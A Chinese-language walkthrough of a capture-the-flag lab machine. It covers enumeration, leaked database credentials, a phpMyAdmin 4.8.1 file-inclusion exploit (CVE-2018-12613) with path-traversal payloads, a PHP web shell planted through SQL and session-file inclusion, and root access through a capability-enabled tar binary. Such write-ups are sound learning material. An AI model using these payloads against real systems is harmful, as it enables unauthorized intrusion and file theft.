难度 中
目标 root权限 2个flag
基于virtualbox启动
题目提示枚举是你的朋友
kali 192.168.86.102 靶机 192.168.86.107
信息收集
端口扫描
tcp开启的端口就两个,稳妥起见扫了一些常见的端口看是否有UDP协议开放的端口。同时nmap在扫描80端口提示可能存在的trace的请求方法
web测试
主页看了一下没有发现什么功能点
扫描目录
使用dirsearch直接跑
python3 dirsearch.py -u http://192.168.86.107/ -e txt,php,html,zip,bak
跑出一个config.php.bak有点意思
直接访问还看不到需要查看源代码
$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";
这些估计是数据库的账号密码但是数据库的端口并没有开放出来
那么使用这些作为字典去测试一下ssh看能不能登录,然而并没有成功
然后没什么思路了看了下wp好家伙又要添加域名。。。。。。
虽然之前也遇到过这样的情况但是还是没有第一时间想到
把这个域名添加到hosts文件中
然后又爆破一波目录没有新的结果,那么挖掘一波子域名
gobuster vhost -u http://votenow.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --append-domain --timeout 60s --random-agent -q |grep "Status: 200"
跑子域名这种也是需要用各种字典去测。。。
将新得到的子域名也写入到hosts文件中
访问子域名是一个phpmyadmin
用刚才得到的账号密码登录
$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
进来翻一下数据库文件发现有个admin和密码
$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
那个在线解密网站要钱。。。只能本地使用john看能不能解出来
爆了很久可能是虚拟机的cpu没给多终于爆出来了 Stella
拿着这个进行ssh登录但是失败了,说没有这个名字。
另外继续在页面找一下信息,看到是phpmyadmin先看看版本4.8.1
突破边界
然后在网上搜索或者在msfz中搜索一下有没有可以利用的漏洞
先尝试rce的漏洞
执行后没有反应
然后试一试第一个文件包含
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
可以看到成功包含了文件,同时得知有个admin用户。那么可以尝试包含日志文件getshell
但是尝试了一下没有找到常见的日志不太好包含,网站的路径也不知道
再看看第二个文件包含怎么利用的
没看懂这个payload的使用方式,直接访问也没有反应,在网上搜索了一下CVE-2018-12613
首先先输入一个SQL语句
SELECT '<?php phpinfo()?>';
然后找到phpmyadmin的cookie
d2vmej86knkpthep2n5kejqlt5ak018l
然后访问这个路径,这个路径还有几种路径有可能在/tmp/sess_[当前会话session]或者在/var/lib/php/sessions/sess_[当前会话session]
这里在 /index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_d2vmej86knkpthep2n5kejqlt5ak018l
可以看到成功的包含了文件,那么可以尝试写入shell了
输入
SELECT '<?php system($_GET["cmd"]);?>';
再次包含的时候添加参数&cmd=反弹shell的命令
直接使用/bin/bash反弹shell成功
使用python -c 'import pty;pty.spawn("/bin/bash")' 提升一下shell
提权
进入后尝试sudo -l要密码
然后使用前面获取的admin和密码看能不能su admin
很好果然密码是对的估计是现在了不允许admin使用试试登录
进入admin目录有两个文件,拿到一个flag,但是notes.txt文件读取出来好像是提示
他说利用新命令备份和压缩敏感文件
估计是有个压缩的命令可以用来提权。
不过我看了一下内核版本符合脏牛漏洞的范围疑似可以使用dirtycow提权
不过先上了信息收集工具linpeas.sh 找了一下那个命令
应该是这个tars命令
或者使用
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" -exec ls -l {} \; 2>/dev/null
也可以找到
但是tarS并不是SUID,没看出来有什么可以利用的地方。。。
Capabilities漏洞利用
看了下wp和Capabilities漏洞有关,我也是第一次了解到这个漏洞
Linux Capabilities 简介 - sparkdev - 博客园
就是因为SUID给的权限太大了于是使用这个用来细分权限
使用getcap -r / 2>/dev/null 用来查看哪些程序进行了 Capabilities的设置
查一下tarS 的权限
+ep应该是更高的权限
也就是说tarS在压缩文件的时候是无视使用者的权限,相当于sudo去执行一样只不过值针对于压缩行为
那么我们可以使用这个命令去压缩一些我们无法访问的目录然后解压再读取
tarS的使用方式和tar差不多,可以使用--help查看使用方式
解压
tarS -xvf root.tar
拿到第二个flag
同时在.ssh中发现有个公钥和私钥
并且authorized_keys中写好了公钥那么可以尝试那这个私钥进行登录
成功拿到root权限。
后记:
也是第一次了解到了Capabilities漏洞的利用方式,以及phpmyadmin的历史漏洞的打法。